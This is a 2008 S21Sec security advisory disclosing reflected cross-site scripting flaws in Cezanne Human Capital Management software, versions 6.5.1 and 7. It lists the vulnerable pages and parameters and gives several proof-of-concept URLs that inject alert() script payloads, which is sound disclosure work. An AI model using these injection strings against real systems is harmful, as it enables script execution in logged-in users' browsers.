############################################################## - S21Sec Advisory - ############################################################## Title: Cezanne SW Cross-Site Scripting (login required) ID: S21SEC-042-en Severity: Medium History: 02.Jan.2008 Vulnerability discovered Authors: Juan de la Fuente Costa (jfuente (at) s21sec (dot) com [email concealed]) Fco Javier Puerta Rubio (fjpuerta (at) s21sec (dot) com [email concealed]) URL: http://www.s21sec.com/avisos/s21sec-41-en.txt [ SUMMARY ] Cezanne develops Human Capital Management Software. This Software provides leading-edge Human Capital Management solutions that help companies better develop, manage, reward and retain their most important asset - their people. Cezanne include applications for employee performance management, career & succession planning, training & development, people management, recruitment, salary analysis & compensation planning, pay review, employee survey and organization charting. [ AFFECTED VERSIONS ] This vulnerability has been tested in Cezanne 6.5.1, and Cezanne 7. [ DESCRIPTION ] S21sec has discovered a vulnerability in Cezanne 6.5.1/Cezanne 7 that allows injecting JavaScript code in text variables. This issue allows javascript code execution in the user browser. URL[ NEEDS LOGIN ]: https://www.somesite.es/cezanneweb/CFLookUP.asp?LookUPId=>"><script>aler t("S21sec")</script>&CbFun=Focus_CallBack&FUNID=7302062&CloseOnGet=yes VULNERABLE PARAMETERS:LookUPId,CbFun STRING:>"><script>alert("S21sec")</script> URL[ NEEDS LOGIN ]: https://www.somesite.es/cezanneweb/CznCommon/CznCustomContainer.asp?ACTI ON=RETRIEVE&Columns=2&Title=7302053&TitleParms="></title><script>alert(' %20S21Sec%20')</script>&WidgetsFunctions=7100027%2C7302015&WidgetsColumn s=1%2C1&WidgetsTogglers=Y%2CY&WidgetsHeights=%2D1%2C%2D1&WidgetsLinks=&W idgetsTitles=%2D1%2C%2D1&HideNonWorkingWidgets=Y&FUNID=7302031&LINKID=%2 D1 VULNERABLE PARAMETERS:TitleParms, WidgetsHeights, WidgetsLinks, WidgetsTitles STRING:"></title><script>alert('%20S21Sec%20')</script> URL[ NEEDS LOGIN ]: https://www.somesite.es/cezanneweb/home.asp?CFTARGET=";}alert("S21sec")< /SCRIPT>%20--> VULNERABLE PARAMETERS::CFTARGET STRING:";}alert("S21sec")</SCRIPT>%20--> URL[ NEEDS LOGIN ]: https://www.somesite.es/cezanneweb/PeopleWeb/Cards/CVCard.asp VULNERABLE PARAMETERS:PersonOid URL[ NEEDS LOGIN ]: https://www.somesite.es/cezanneweb/PeopleWeb/Cards/PayrollCard.asp VULNERABLE PARAMETERS:DESTLINKOID, PersonOID URL[ NEEDS LOGIN ]: https://www.somesite.es/cezanneweb/PeopleWeb/CznDocFolder/CznDFStartProc ess.asp VULNERABLE PARAMETERS:FolderTemplateId, FolderTemplateName [ WORKAROUND ] Contact with Cezanne Software at: http://www.cezannesw.com/ [ ACKNOWLEDGMENTS ] This vulnerability has been discovered and researched by: - Juan de la Fuente Costa S21Sec - Fco Javier Puerta Rubio S21Sec You can find the last version of this warning in: http://www.s21sec.com/es/avisos/s21sec-042-en.txt http://www.s21sec.com http://blog.s21sec.com